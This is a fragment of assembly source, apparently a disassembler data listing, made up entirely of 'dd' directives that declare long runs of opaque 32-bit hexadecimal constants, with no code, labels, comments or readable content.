		dd 4151E143h, 40731708h, 0D4662A14h, 0DF2D4F00h, 0F305F24Ah
		dd 0D9ED136Ah, 0FE090010h, 0B15B8716h, 8D30E0B8h, 90AA1820h
		dd 9C4040E4h, 3FF27201h, 0F5E7FB68h, 0C4284BEDh, 4222378Eh
		dd 82E00755h, 0CB007CF4h, 2E027903h, 7AEA41h, 0E2011945h
		dd 420AAD61h, 84EED739h, 549D0E74h, 4201CE4h, 2D6FA778h
		dd 4D97C1E0h, 9773D0E1h, 0DF8421C0h, 0E2D7EFAh,	0AE447B5Eh
		dd 0B4B5C3A1h, 0B28A00EBh, 0B986004Bh, 42F594D0h, 401CD2F3h
		dd 73C5963Dh, 0DC134109h, 340098A2h, 93BE7001h,	0DC37AA45h
		dd 96F01978h, 0A876DF4Bh, 12141508h, 0C8E348EFh, 45393058h
		dd 0AD4A89F4h, 54340472h, 0E293D0A8h, 0D7788160h, 40F626E7h
		dd 7F93783h, 7BD5CA8Bh,	61CD60D9h, 0B607BA86h, 0C0952BDFh
		dd 70828530h, 72260279h, 2E18418Dh, 4F04B07Bh, 0D4E16BB5h
		dd 2D812038h, 0E8365E3Eh, 9169385h, 7052C450h, 0DDA44814h
		dd 0DB75D680h, 24A1D4A6h, 65F9CDh, 0FEE8A7BFh, 0EA3079BDh
		dd 0F65368E6h, 4F1E05F5h, 80728715h, 0DA67720h,	76501712h
		dd 8AF17C18h, 0FFE1610h, 0DB4607E6h, 0D685BDh, 0D8A5DD08h
		dd 782890EEh, 0F8041895h, 48D9E27Ah, 0D085E4C7h, 0B1E80800h
		dd 97D21BEAh, 10ECA811h, 0EAEB7731h, 52F91F65h,	121989ADh
		dd 7276B001h, 8F861080h, 51C74BCh, 0ED94F44h, 77E021EEh
		dd 6480A7B4h, 245B60B4h, 0C8C04AA1h, 6EA8E860h,	3D70F7Ah
		dd 0D98CFA2h, 15B84DB0h, 4AE016C6h, 0DA299F1Eh,	5B938887h
		dd 0BAA4DBF0h, 0E0C812CBh, 7040C8E8h, 98033700h, 0BA08BFBBh
		dd 2797009Ah, 0FC2EC0D1h, 0A90082F2h, 17296571h, 720CEF7Bh
		dd 7EC90BFh, 0BD528590h, 0C8E5D01Eh, 39B0E7F8h,	8E554007h
		dd 4BD916F5h, 38A4E8B4h, 623CA8FAh, 6CC10003h, 26543EA1h
		dd 0DC137476h, 88B63142h, 84818815h, 0CAAD9D0Eh, 51996400h
		dd 0F90124D9h, 8C281120h, 0C07066D3h, 0BB8D8880h, 4C061824h
		dd 0F1B40FE9h, 0D3FEA40Ch, 7300F519h, 3E7AF231h, 13A55068h
		dd 0F261F435h, 0F3320448h, 0F0C0BD45h, 0B407016h, 0D2E2AF4h
		dd 27087201h, 96BC40D0h, 0DC721541h, 0FA12B8B8h, 7CA2678Bh
		dd 17025521h, 5E1D7643h, 39DE4014h, 0AC006CC8h,	403813E6h
		dd 1F72754Eh, 3F6FCD0h,	8B3487D6h, 28828EAAh, 0D1299F5Ah
		dd 9A720054h, 0C6D26F2Bh, 5678A100h, 1784A4BBh,	0DBF212E7h
		dd 152C0023h, 3D9B5EAh,	0DFE49358h, 42460EE2h, 2040ED30h
		dd 0BE8877C3h, 3374390Bh, 0E081033Eh, 0A34EB3D8h, 5E69EA81h
		dd 71063DCh, 0E474CBD8h, 0EAD86A0Bh, 0D990C814h, 8B749101h
		dd 44E4539Dh, 84D0FA24h, 4966C08h, 0C315ADB9h, 994A6E60h
		dd 2484D88Ch, 0F275FBh,	19CB56Ch, 0DD01ACBBh, 3D26E62h
		dd 5EECAF86h, 98B89D1Ah, 0FE00E280h, 0F1D0DBFBh, 1E64F94Dh
		dd 72FDF7E1h, 0D8AB2380h, 0A746AC18h, 0B406E000h, 82C8CF7h
		dd 0F333013Ch, 915AFFE6h, 863FBh, 0CFA73E1Ch, 184AC90h
		dd 0CB310B88h, 0C7BAF9E0h, 0E1156037h, 66E62AC2h, 4FD200C4h
		dd 49408BE5h, 9E00AE69h, 5AADD0A6h, 71FEEA4h, 74E3CFA3h
		dd 0E8072031h, 5F3F9CBAh, 0F4454B1Eh, 48C112Ch,	7035F6F2h
		dd 44849A25h, 0E67690ECh, 78C40452h, 8C54DB05h,	64404ED7h
		dd 0F144200Fh, 2E6171C4h, 0AD26D9h, 415F7CECh, 510BCA8Eh
		dd 83B8C1FDh, 99B31686h, 45D1A7DDh, 9276E0h, 0AE2F3E1h
		dd 4C4860A4h, 33FB6E1Eh, 3A30BC01h, 202AD45Ah, 0E110CDB8h
		dd 10F0B025h, 0F55A490h, 0EF76590Dh, 0E5271A00h, 0A600E2A0h
		dd 3CE04592h, 128ABAD2h, 22DB5D15h, 8B2296B0h, 43BC4610h
		dd 0ED7C505Fh, 0E68F1527h, 0B41A9FA8h, 0DD091054h, 4550189Ch
		dd 9C89906h, 64D2DE18h,	10688B27h, 3DAC5B80h, 0E1049532h
		dd 0E1A9FF30h, 0FC002EFCh, 27CFC2F3h, 54525C9Dh, 84F292h
		dd 7CAB76BFh, 47F9305h,	0B770E1Eh, 8028AC55h, 95D0BDA1h
		dd 625005E9h, 0C2F78C5Dh, 63109608h, 0FEB91EE7h, 3C2869h
		dd 1BF388Eh, 14857622h,	0D481E104h, 0A4A86E8Bh,	81032C9h
		dd 3E4A9D66h, 0E2ECDCh,	43AEE001h, 3797A2ACh, 4F4DAB01h
		dd 0BCE30AEEh, 0A43589CCh, 525A0984h, 985AFF07h, 6A3C4500h
		dd 41F8BB2Ch, 61E8005Eh, 0D59BF71Eh, 96C02F30h,	4D5B5737h
		dd 92AD508Fh, 35F63910h, 3D96121Fh, 1DA0490Fh, 0DD83504Fh
		dd 0FBF87CD1h, 1600C285h, 0F12F7877h, 7AD0D04h,	0CD76975Eh
		dd 1081C0D6h, 0A2F211DAh, 0E0DBEE27h, 5B09D920h, 0FF18DCEBh
		dd 0C4756B00h, 0EF7ABBE6h, 130AF049h, 30FBF643h, 5362E2D4h
		dd 0FECC943Bh, 137E8100h, 0A5A76D8Bh, 9C7809EDh, 4A8C7ACEh
		dd 4404A431h, 5407ACF2h, 0CCA2C0C0h, 254B055Bh,	0C0DF6278h
		dd 0B8BBC2ACh, 530BC402h, 0E0431ED4h, 5ABEE051h, 0F958D3B4h
		dd 92F439F8h, 0AC2887A0h, 35BC4D03h, 0F806FB7Dh, 138F0266h
		dd 1097C88Bh, 31171CB4h, 25420FFh, 0B800F60Ch, 99A2A8BCh
		dd 62314755h, 0B114C21Bh
		dd 532538E4h, 85709171h, 7B44B410h, 5D2E4C00h, 0B11929EFh
		dd 0E122C8Ch, 0CE5B010Dh, 2BADE17Eh, 0B0D8140Bh, 0B5C2B100h
		dd 42534810h, 3EAD6704h, 0BC88520Dh, 7C10BF9Ch,	4701B92Ah
		dd 0D0A42DE3h, 8429DD46h, 47662087h, 34BA6B55h,	1B442466h
		dd 22105EEAh, 0BD10096Ch, 0F8525F43h, 124B0003h, 8BE44EA7h
		dd 32835A6Ah, 0FC54571Ch, 338B6440h, 0FA08B8B6h, 0D0FB5FCEh
		dd 23F59E1Ch, 0A7B82000h, 840A14EFh, 545A00F1h,	104C11F0h
		dd 0E43AC0CEh, 3EC8802Ah, 55955B79h, 0D4D0A14Dh, 0F17EFA10h
		dd 0A9704B00h, 6D36DDAEh, 0CAE82C6Eh, 60021E84h, 48419C25h
		dd 0CFE9B598h, 0E1E0ADD1h, 0AB463BA0h, 20A0BF58h, 0E910E573h
		dd 0EA79B706h, 2C6C2B4Dh, 92429442h, 0B62B0F90h, 22EFBC11h
		dd 8C604D08h, 27EA71BFh, 304E2F1Dh, 2052C600h, 0FFF31F1Eh
		dd 2A78008Dh, 3EE9FACAh, 8631FB43h, 0EE5A70A7h,	9AB80804h
		dd 0D9DF4640h, 0AF063176h, 78F2EA8h, 0BFFC20C0h, 44549049h
		dd 4B5716Fh, 0B4E847C4h, 0C0D1A0CBh, 1BA702BCh,	0C6D8E4DCh
		dd 0D4090338h, 46781CF6h, 0DEB727F0h, 5ADB7E0Eh, 751163BFh
		dd 2D098AFh, 0E625F20Ah, 0B1D70B58h, 0A8D1E44Ah, 71864F86h
		dd 22325BD0h, 348013B8h, 33B24389h, 0A820C74Eh,	94656EEh
		dd 6387B91Eh, 95FFFA82h, 90007CC6h, 1A337BAFh, 396C05h
		dd 0FCDC21BDh, 98B77E28h, 0FB485914h, 21D84838h, 60949195h
		dd 5D4B2B48h, 55D33E24h, 589C9209h, 14110071h, 22D5B585h
		dd 70AE15ECh, 0FC4465CBh, 89195700h, 31803903h,	2D0B0524h
		dd 43C0BAh, 0EEE079DDh,	5524914Bh, 4DE0CCA6h, 25B9487h
		dd 0D9A97D4Fh, 0EC4010E6h, 304F8A34h, 0E8008484h, 4D24EAB3h
		dd 0C0AE592Dh, 0CA79B6C1h, 8E2034EDh, 4900F576h, 36168130h
		dd 0A56CEEh, 44D933BAh,	7F96A789h, 530D0E00h, 30F3C457h
		dd 0E9010017h, 8D7AEB1Ah, 43384CB9h, 34769A15h,	0E04088E0h
		dd 87DA1A08h, 951CD885h, 88D4BCCFh, 82888CD9h, 28006029h
		dd 2D420FFAh, 21497C5h,	33378FB2h, 8D4307EDh, 0FF102807h
		dd 0A5C0F2A8h, 511158DBh, 0FC6008D7h, 44949D66h, 0ABF6FD09h
		dd 143C82CCh, 11E4719Dh, 12457C80h, 5887EF20h, 0C0251B2Ch
		dd 5CD2B490h, 41B2BF00h, 6D069BD0h, 69E3172Dh, 0DD5C2189h
		dd 4EDCC0C6h, 3E6F03Ah,	3CF452A2h, 0F5CEE880h, 7B9100B5h
		dd 9CC7BB66h, 0EBE3E990h, 0C94F40FCh, 0A5E313h,	0A93B9956h
		dd 0D958A487h, 10DBC2Eh, 0DC3AA424h, 0DC108030h, 1613DB84h
		dd 0E277FBBCh, 0A3FA7C78h, 57097C02h, 0C0944D79h, 5A17EA40h
		dd 4D508BD4h, 714C0910h, 9FD40043h, 0F2E9FBh, 942908A3h
		dd 0CA98E0EFh, 0EE9E9000h, 2048A2F5h, 0DFBC019Bh, 0F7AFFFE3h
		dd 9462B5h, 4FF6EC0Dh, 7CB13Dh,	869EE8E6h, 0A52F27F0h
		dd 2224D458h, 4014BE22h, 885C045Bh, 190079FAh, 361B7408h
		dd 1D8AE27h, 0C48FBF91h, 0CBB5F2E2h, 9215301Dh,	9216D98Bh
		dd 3B249810h, 0CBE60043h, 5181CE9Dh, 0FB3FAED8h, 2DB5009Bh
		dd 3867DF10h, 0D97D1397h, 3354D00Ah, 5B144C17h,	119C76DBh
		dd 23DBDB5h, 69094F44h,	5C599D0Eh, 73D45088h, 6812EBF8h
		dd 0EA008C35h, 312A115Eh, 58553077h, 0ECB6DF08h, 0E9C7F000h
		dd 0EFA8BFDCh, 3EFEEEh,	387294F2h, 76A2CC18h, 928E8917h
		dd 17C1E480h, 172CE2EAh, 0A2462D70h, 0DF027F84h, 3F553501h
		dd 5ADAE05Eh, 4E7D12A9h, 0D304B2BEh, 0A7EADC08h, 0F6062890h
		dd 0F7DEE602h, 60AF1D2Ch, 25B3150Eh, 0F0440116h, 82868B40h
		dd 9C09C05Eh, 8905154h,	80BD9F89h, 375FFB92h, 0E7CF4C6Eh
		dd 5556E4h, 30E2D973h, 1FE9A703h, 42C0BC00h, 0B16DECB9h
		dd 2A47F688h, 70BABBh, 9CC6CFE3h, 0A7026F3Bh, 0C77A830Fh
		dd 200ECFB8h, 0E133FD52h, 8849597h, 57EA4059h, 98042E01h
		dd 2F38A1B0h, 138C286Fh, 53A79903h, 0C8A46E1Fh,	0D8D910h
		dd 0FB899E77h, 5D9C41BBh, 3AE19869h, 41885C68h,	30D84AD4h
		dd 0A007B8DAh, 4CC656C9h, 0E26D1A50h, 2F30FC12h, 58C1DA7Eh
		dd 0C093E6D9h, 0BDC05022h, 96076898h, 80EDA8C8h, 15CCBA87h
		dd 68002011h, 6F9E979h,	0CD96E07h, 0E666E727h, 527964B0h
		dd 4BB020BDh, 4B72AB0h,	430ABA2Ch, 4C40A892h, 4C112078h
		dd 0C29F1888h, 0BF63BC5Dh, 90402076h, 1EDF35E7h, 0A8057Ah
		dd 5192EAF3h, 9648047Bh, 77E0C0DCh, 1CEBA741h, 701ACEh
		dd 0C18C2672h, 293D7B13h, 4939029Ah, 559EB571h,	0AFEC7000h
		dd 2A81E644h, 621419E8h, 0E46208DDh, 831698B8h,	44FE3188h
		dd 0A7004CD5h, 0DE4BD457h, 3D0B2DF4h, 0E0814035h, 0FB399378h
		dd 85C86034h, 5CC22A09h, 10C49Ch, 0C0D4FE22h, 511A3C78h
		dd 109577F0h, 66E40Ch, 0CB239E8Eh, 0BB637A3Ah, 0E8DB2A2Dh
		dd 91118B3Ch, 90F91274h, 1E6FC768h, 1CB70500h, 0DCE2B0D5h
		dd 0FA0D0B76h, 34803752h, 0D2EE04BBh, 0E060D0AAh, 0F22CCE90h
		dd 0A70068C5h, 0FB722676h, 507D0509h, 4F93FA95h, 0F80D778h
		dd 0C96D4D99h, 9781E3Bh, 77570296h, 0A4688Ah, 0D55C8A76h
		dd 56179CA4h, 0A0A691A2h, 41B93600h, 0B85AA79Fh, 54CD9700h
		dd 0BA8F08Fh, 79F80020h, 7BD05CBEh, 7CB83C6Dh, 0D84E4BF0h
		dd 0B03A3C90h, 0EA8D0BDAh, 464D111h, 18DC814Ah,	3E07F7Bh
		dd 0A076FED1h, 0A0FF3974h, 2E8710C1h, 0C0A62217h, 80519048h
		dd 0D941830Ah, 2440D581h, 973C0079h, 2A6C800Bh,	0F490DADEh
		dd 393009F8h, 0DCC61891h, 94B52C5Dh, 0A7160BD5h, 7B00DC0Bh
		dd 6D09C0BDh, 0EB008C70h, 0D3842993h, 3526FFh, 0DCFE514Bh
		dd 12C192FDh, 95530F03h, 8A33193h, 0A6EEC640h, 1D8B6504h
		dd 7E18B410h, 0AAF718EFh, 81731006h, 10A835BEh,	80AD30Bh
		dd 1FCF7A02h, 13340E82h, 73D630F8h, 94E08C00h, 0D46F526Ah
		dd 0E4E8C8DEh, 42906208h, 8D11FBDDh, 0FD1CF2h, 88A639FEh
		dd 0FD40DB63h, 8420119Eh, 43E9F0A3h, 9C6678DAh,	5DEDC01Ch
		dd 0A1481D79h, 6A0E78D4h, 897D0FD3h, 255C0FDAh,	4CE0A5CEh
		dd 86762C4Ah, 5F1E812Ch, 81BEED6Dh, 0B59E1D90h,	0EC3093F6h
		dd 0C2D94EE7h, 8A0091F8h, 98EA8525h, 8208799h, 0A2CFA13Bh
		dd 55688B4Fh, 9C000414h, 0B6AE6242h, 7F00DEAh, 22DC7C49h
		dd 0BD098159h, 0DE6185F1h, 888310EEh, 0E5F6D044h, 0EBE400E2h
		dd 0EDD6AD3Bh, 0C820B542h, 0B2F20991h, 6AC5E3h,	0FE89043Fh
		dd 0F2C8C088h, 0DC9450B1h, 695303B5h, 7509BB42h, 0FEE002C5h
		dd 88C0C586h, 9264AEF2h, 0CB4F7F29h, 0A39A1C00h, 0E600A57Bh
		dd 0AFEDC97Ch, 39CD94h,	6078A8EBh, 0E13DF53Eh, 32B20D50h
		dd 80AEC800h, 4A189C4Fh, 0DC66078Dh, 0D0299EF1h, 378774D7h
		dd 0B72CA100h, 9B757755h, 0EEF20078h, 98BE6AA0h, 0BC003541h
		dd 93483A14h, 74C5A03h,	11367946h, 66082129h, 8F11BFB4h
		dd 22D4775Bh, 602640A1h, 2EC2F4h, 37C17551h, 538B453Ah
		dd 25BECB00h, 121B7B73h, 70C4B84Ah, 54170049h, 41DF79FFh
		dd 0C238CE1Fh, 1E693E50h, 8780E70Ch, 63A9D846h,	6124334Dh
		dd 383F568Ch, 0E92B80A1h, 28771B2h, 0FB7300F9h,	227FD32Ah
		dd 20B64F43h, 0D4D76003h, 0E50F984Dh, 0B31F003Ch, 1148FE0Dh
		dd 0E9609C31h, 0C9B2E8C8h, 5EBC0387h, 8041377Bh, 5E2AC02Fh
		dd 0AE900F8Bh, 9BC9F8E0h, 59000144h, 2FFF1DE1h,	0F5AB3C2h
		dd 0AF245DEBh, 0C57B5898h, 0CB6CDA1Dh, 8DF6D2C0h, 5E8317h
		dd 0AE0BF3Dh, 1B7E5CA4h
		dd 46FA5FF6h, 3A606F00h, 2A0F3D67h, 715503ECh, 0E02BDE73h
		dd 4CDF75D8h, 1883D22Eh, 0CEC7FD80h, 32BF2Fh, 86CFBE04h
		dd 0AC9E4C71h, 6406AF05h, 0D7811E92h, 9AE8617Ch, 0E9AE005Ah
		dd 3F140E5Ch, 5B0E4A68h, 67B6C74Ch, 0FE808AF0h,	0DF97C405h
		dd 0C3D9C01Ch, 0FB1E0953h, 0E000E77Ch, 0CFA7DF7Fh, 0D2BF94h
		dd 167BA418h, 53C9F277h, 52030500h, 0FE5D2B79h,	0CD7F009Ah
		dd 3B3719EBh, 2275D832h, 0DD58300h, 0AD4A5EA2h,	0BF953DA4h
		dd 0B061DF80h, 4E14206Dh, 9D0AF2h, 0C28E30A4h, 73660302h
		dd 0E3AD57A2h, 72E5C100h, 2F785D44h, 213028BEh,	0A96F0078h
		dd 23A5055h, 8200688Dh,	41FBCADDh, 989F278Ah, 0B66B0651h
		dd 50D6041Ch, 93BC6901h, 15B70C4Eh, 8E7CEC40h, 0C463247Bh
		dd 6A760009h, 0A00E161Ah, 0A4A1B1Dh, 9D233280h,	285942A9h
		dd 9B7277h, 3E9ADE4Ch, 6D1F3A8Bh, 0A7DADC00h, 19A61403h
		dd 51680099h, 5B4B20E6h, 0B1013F8Eh, 22761591h,	5424BBA8h
		dd 0E4E000Dh, 8AFA2BFFh, 0AB7A9238h, 8B163Ah, 65EAA567h
		dd 3CE485h, 56577A25h, 0C56BD578h, 4BDBF200h, 17039B67h
		dd 586E602Bh, 2C9A01EDh, 3A1C6000h, 87CCD038h, 802F0070h
		dd 318D105Bh, 589A4485h, 0E51AC603h, 3EB3341h, 6A528279h
		dd 5CF0C334h, 0C003B0FDh, 765A7D60h, 0A133F78Fh, 531DD823h
		dd 9FFA1Fh, 8EF3A6C4h, 400B25CEh, 0CBDCE500h, 0D41011CDh
		dd 1B0A0EE6h, 0E32EBD2Eh, 43F5F20h, 0E0E72617h,	8400A760h
		dd 1155E761h, 3D4D201h,	108F1608h, 0F68A652Ch, 27EEBCFAh
		dd 0C9CE5B00h, 8A67F346h, 704700E5h, 0F1CA663Bh, 7092EA44h
		dd 0F7DE6A04h, 80901AAEh, 0DC5710h, 5A623317h, 31B44B88h
		dd 4CB7D807h, 1C1167B6h, 80403D36h, 1E4F17AFh, 0C0E04D4Ah
		dd 8180F921h, 1898CA0Ch, 0FF239B00h, 0C3121ABAh, 3B602437h
		dd 0E140060h, 7F1719A5h, 0AB6D3900h, 0DDC9C773h, 6093007Bh
		dd 346208ADh, 0E238F0E5h, 0D48D1C96h, 0E0226349h, 873AD8h
		dd 3E769BA9h, 53B14614h, 0C90EDD00h, 5F280ACh, 7B890021h
		dd 0E0C11804h, 940046C8h, 8A951751h, 0D3419Dh, 18E6CA60h
		dd 563978F4h, 0C4A8B300h, 950A99F1h, 0D0E53E2Ch, 0FFBFC8E3h
		dd 6DC09800h, 0B439BEC2h, 768903C9h, 435906DEh,	202D40E9h
		dd 15003176h, 0BEC46C21h, 1B1EBA4h, 3926EC3Dh, 60B3E2E3h
		dd 9EFE5744h, 0B482E809h, 0D14807F9h, 239AE3B0h, 4467006Bh
		dd 6959E1D6h, 0F20992A4h, 800C2E70h, 5898DCE8h,	0EF3404FFh
		dd 0C075D68Fh, 6604A9DEh, 31E1381Fh, 0CD16A5CEh, 15D83017h
		dd 0C6AC2C4Ah, 0D68E83BCh, 9680C2D4h, 860B476Bh, 8288BBE5h
		dd 0C0142AC6h, 1613739h, 0B511C03Ah, 0E0AE74B7h, 0FE73A572h
		dd 6300437Dh, 0BCE7EB4Ch, 1DF8AF7h, 2F745383h, 0C4F25D12h
		dd 0E06F5D2h, 38E11073h, 816D28A1h, 4E24CFDh, 0A39DD900h
		dd 3456594Dh, 0C881F03h, 0E0BFB720h, 24C6558Ch,	3A083EA2h
		dd 5D7B2480h, 0DFFCEE44h, 5260C200h, 0E88B4B5Eh, 0DDBB008Ah
		dd 15F747A9h, 0E0FC3EEh, 0D67658DAh, 0FB53D8D0h, 9B1E0025h
		dd 0AA9E8B8Dh, 9160708h, 7AA42E6h, 0A001C06Ch, 8D8A44E2h
		dd 7DE580Ah, 7D00D30Ah,	0FFD65EB4h, 50FA0E32h, 0E9AB046Eh
		dd 9D68E0C0h, 1F2F3E7Dh, 0F01CE49Ah, 119B6735h,	7AD380ADh
		dd 64B8DEFBh, 47534000h, 0DBE5C969h, 28602E09h,	0EE3E86C4h
		dd 8E1D406Eh, 5BFE79DAh, 811C4420h, 50666F92h, 0DFF168E2h
		dd 0AE104079h, 7498178h, 0B28533Bh, 9583CEB2h, 33D02EC3h
		dd 71488BDCh, 8C0F3C2Ah, 0A0D3B679h, 0BB1F0090h, 0EBB938B1h
		dd 30070FFh, 559F0450h,	49796A0h, 0FED7C78Ch, 20FA4077h
		dd 12B2C96Dh, 0B515EA81h, 2DCE300Ch, 80338905h,	8E0EF6Eh
		dd 5FD788B3h, 0BE96E500h, 7F09C1C0h, 6B3C07F3h,	6D848FECh
		dd 0C315EC18h, 780EC54Ah, 0E207FE6Ah, 808BF53Dh, 0FEF80AD9h
		dd 0E10130D9h, 21A6CE9h, 97C80800h, 52675A49h, 2509C0Fh
		dd 8612435Bh, 0CB2A6603h, 41180BA7h, 546A78B3h,	65182450h
		dd 2682542h, 0FA1D005Fh, 41BBC0A2h, 4C318F18h, 0B80FA09Bh
		dd 0CC38082Fh, 0E31A5386h, 32EE0059h, 0BB982FA5h, 35E2ABAh
		dd 157A880h, 36681F5Ch,	53C10F80h, 8C5105h, 5AE16694h
		dd 9C1288F8h, 28E4845Fh, 29D62865h, 6B821048h, 0F08784BFh
		dd 15530D42h, 1006605Eh, 7FE89201h, 0D6888D1Bh,	0DE767129h
		dd 9039C084h, 595F1E0Ch, 0B268CA64h, 579CE4h, 2370838Dh
		dd 0AA9F4481h, 757EDC4Ch, 0DE633F00h, 41FD56Ch,	34595C92h
		dd 649CD61Dh, 7A8B40CCh, 4F165BDFh, 34D07903h, 27BD1174h
		dd 24C24429h, 0F9FE5B82h, 0EE8F872h, 0EE5C1E00h, 136034B7h
		dd 4B5103C5h, 90118BE8h, 5577E10Fh, 0F5E70045h,	9D50DF26h
		dd 16B9CC18h, 0D3597000h, 0A00D32D1h, 69EA4CF1h, 93589C0Ch
		dd 48B4B229h, 0F5838180h, 7749761h, 0EDF9E9D9h,	0E2905007h
		dd 0B93B16AEh, 10200F4Eh, 6A3D67E6h, 0C801E0D5h, 870EAE02h
		dd 4A17FAFCh, 4CE3A1h, 6D19262Dh, 9796860Dh, 3F0E2491h
		dd 7A20B407h, 9067CEF0h, 23F40051h, 8FFBC76Ch, 0D0E82D0Eh
		dd 60D6600h, 0D7AA4011h, 0D26A193Ch, 803B083Fh,	110EEE21h
		dd 0FB63175h, 0C9C6905Ah, 188149D9h, 5E110804h,	3AC407AAh
		dd 110CEC42h, 0C9BBD580h, 7A00464Eh, 1A705571h,	0F0AF2DE7h
		dd 2B4F3BC7h, 4166F89Eh, 4556D0D5h, 40BCFCh, 0FA29889Bh
		dd 0EA4A9C72h, 0C309CC7Ah, 807B3B21h, 4CE33F00h, 5F7449F8h
		dd 92392864h, 0FEAF1B95h, 91796030h, 226B7503h,	2F3E9Fh
		dd 3959C118h, 747B4E51h, 86E10A07h, 43835066h, 59100768h
		dd 13AF4527h, 0D8888BC8h, 77002E63h, 4AE6B89h, 7FFA3BC2h
		dd 697871h, 966610F2h, 0C13C9E39h, 5277B500h, 0A0C215BEh
		dd 0F8B034h, 0E1B7C3F6h, 0E97102BCh, 0CF0005E6h, 11984922h
		dd 0B3EAF7h, 0B044F040h, 6C4B1DECh, 0E1F4681Eh,	1A00D826h
		dd 0B3C5E82Bh, 92E607ADh, 1030FDCFh, 0CAA1759Dh, 56BAC800h
		dd 0B3AD338Eh, 0C4431E14h, 0DB09C151h, 0E88D8669h, 190061C9h
		dd 94CC6BD7h, 517BA2h, 5BB79348h, 53AD7C09h, 0A85E041Eh
		dd 0A4C10E1Fh, 49A324EEh, 0D00431A1h, 7960C38Dh, 31B55A10h
		dd 0D0B800E5h, 0DAAB24D1h, 0B20007F4h, 0DB8DD618h, 18B7E459h
		dd 293A4B5Ah, 33882505h, 9CF898Eh, 91239D9h, 89859D10h
		dd 44BE08E3h, 22841D38h, 17428AC0h, 28C42D11h, 2B2250A1h
		dd 110B4284h, 5521C23Eh, 9181BB08h, 49DD1C3Fh, 9C1BD380h
		dd 5A66F0h, 6C40D6CCh, 230F7862h, 44116700h, 7C2E26BDh
		dd 6948006Bh, 138F3AEEh, 0F70062A8h, 34870558h,	39DC855Fh
		dd 24006FF8h, 0FE56EB41h, 820076A9h, 4863AFDh, 79BC60h
		dd 28DD9B85h, 6EE7D12Eh, 750B8E78h, 8032DF1Fh, 183793DFh
		dd 426F3E7Ah, 0C4F24B9Ch, 0C0221687h, 10D44CCh,	8C00947Bh
		dd 0E52B91B0h, 0CE52C5h, 41D348ECh, 225D83B4h, 0FF561400h
		dd 1DB80697h, 76440F75h, 0EB80F5C0h, 3602B62Fh,	1100C47Bh
		dd 0D4D24B54h, 0F2658468h, 4772DEh, 56F40805h, 0D0A2FDD6h
		dd 95669109h, 63148058h, 390B677Bh, 3B0180C3h, 0A226B262h
		dd 552C2469h, 6DA0C3Bh,	0ADDDB3F0h, 83EF0758h, 888A97ECh
		dd 958813Eh, 96D846A6h,	9213D1D8h, 5DF004Ch, 9A8F8DECh
		dd 26005A07h, 0AC2C10D2h, 1B4472h, 15502A87h, 0A318FA22h
		dd 0EC1E0F00h, 851C338Bh
		dd 68B40013h, 7F20BFF9h, 8E3EA486h, 0B8B580FCh,	40CD0543h
		dd 0A6320054h, 8B0D8FB0h, 0FB01C956h, 20DF2AA5h, 0BCF46F7Ch
		dd 0B9E306EEh, 0C0FE442Dh, 234EF400h, 49001C8h,	2751007Fh
		dd 0E48E4C58h, 0F20048B8h, 8A94EB16h, 490355h, 20EC5437h
		dd 3E41FF1Eh, 95F98CA0h, 0BDE47C0Fh, 62FC204Bh,	0B7A996h
		dd 73125A2Ah, 4DD7BEEh,	55000F7Fh, 6B502B59h, 279C92h
		dd 952A6D4h, 3E0D7BF2h,	3AC14A00h, 5F61B4E0h, 0BB4C0E8Bh
		dd 3CA0F605h, 5458F913h, 98247DE0h, 72003DA3h, 0BB8A8E97h
		dd 4B6313CEh, 0E47207B9h, 229FA096h, 0FB005AB0h, 92070B1Bh
		dd 60EC50h, 3126AF34h, 0DA784FADh, 0A8B0CD39h, 0EE008830h
		dd 77C6557Dh, 4E07010h,	0CA58E821h, 120C83F0h, 76F6588h
		dd 0C003276h, 87138E8Ch, 1704559h, 0EE622005h, 345A0655h
		dd 98909744h, 0B16EEB00h, 2360569h, 23160077h, 0D78E1B07h
		dd 0AC74CCCEh, 0DE21410Fh, 0C7A4BC08h, 257E905h, 5A03E440h
		dd 38AF82Bh, 1A55BDDCh,	308849C2h, 2300CD9Eh, 24697A3Ah
		dd 956FEFh, 59304EBh, 0C9E2E870h, 662E4100h, 5E87BB15h
		dd 65830062h, 4EFD4052h, 0E0AB218h, 0FCA4B471h,	227F9C00h
		dd 0F7CAF4h, 92690D82h,	94E4CBAAh, 0D3FDBD01h, 0B85F7C03h
		dd 52F01DD9h, 0F6E2FC36h, 0BAA6007Ah, 60B565FFh, 0E90078A1h
		dd 34E1240Ah, 4100D89h,	43BC040Bh, 1188814Ch, 2717F8EDh
		dd 0F23C2801h, 0D75A8FEh, 1AF0070h, 65D34E62h, 0C46A11B8h
		dd 8C003FE9h, 0FB4645B4h, 8E1464h, 0D0310C63h, 0E0B17350h
		dd 546C1C26h, 3357E500h, 7074A3FFh, 6300013h, 68D0209Bh
		dd 1C044E05h, 0C5734778h, 2EEEB880h, 4DC700B3h,	71173803h
		dd 24002084h, 0F04953DDh, 1FA19DC2h, 0C0EA3354h, 0BFFADF06h
		dd 1F00384Fh, 0C9CEA63Eh, 0EEB5459Ch, 0A4D80332h, 0A8561369h
		dd 0DA093000h, 88A10C46h, 0F7810793h, 0C04EDD21h, 2D0FE423h
		dd 57AD3500h, 0C922E792h, 0A36A0F66h, 25E0E948h, 546167CAh
		dd 0A6247900h, 743B1091h, 0BEE8002Ch, 0DA7CF81Dh, 0EE00DE55h
		dd 0D62B639Bh, 245FC68Ah, 80405C80h, 0E0A0E2EDh, 6C012EBDh
		dd 0A908B40Ch, 2C218730h, 794DF8h, 7B8D808Ah, 0E9B9AC5Fh
		dd 0FFA80500h, 8E3C1DFCh, 6EECFD0Bh, 7EFB7526h,	1AFA64h
		dd 20FE0208h, 7CC30929h, 0A9ACE100h, 55E96E4Fh,	811D6022h
		dd 0D1615863h, 0C6716C90h, 0B71862F4h, 3070567Bh, 5DBD01FBh
		dd 0A4381ECFh, 0F7A2F0A5h, 0AB7E61EAh, 5F6C1900h, 0F26030C6h
		dd 736E06A0h, 30CA462Eh, 37AB2B00h, 62BA0A9Ah, 769001Dh
		dd 0C59D36B9h, 0C6009713h, 6BC2387Fh, 381F0F12h, 0DE870DD4h
		dd 0F02C1DE1h, 3E155EDDh, 3B19B00h, 0A1516E0Ah,	0AE33067Eh
		dd 0E8C19E02h, 0C33ABD70h, 0B09A803Ah, 2021670Fh, 0EF9F00BAh
		dd 79063760h, 7103A415h, 2E6F44F4h, 0E392006Eh,	0C8D461Fh
		dd 1C76C0E2h, 6CED140Fh, 0A2500EB9h, 60D42341h,	5E0FA0h
		dd 8E18B567h, 99F35D2Bh, 0C0247813h, 1290840h, 7FBDDAh
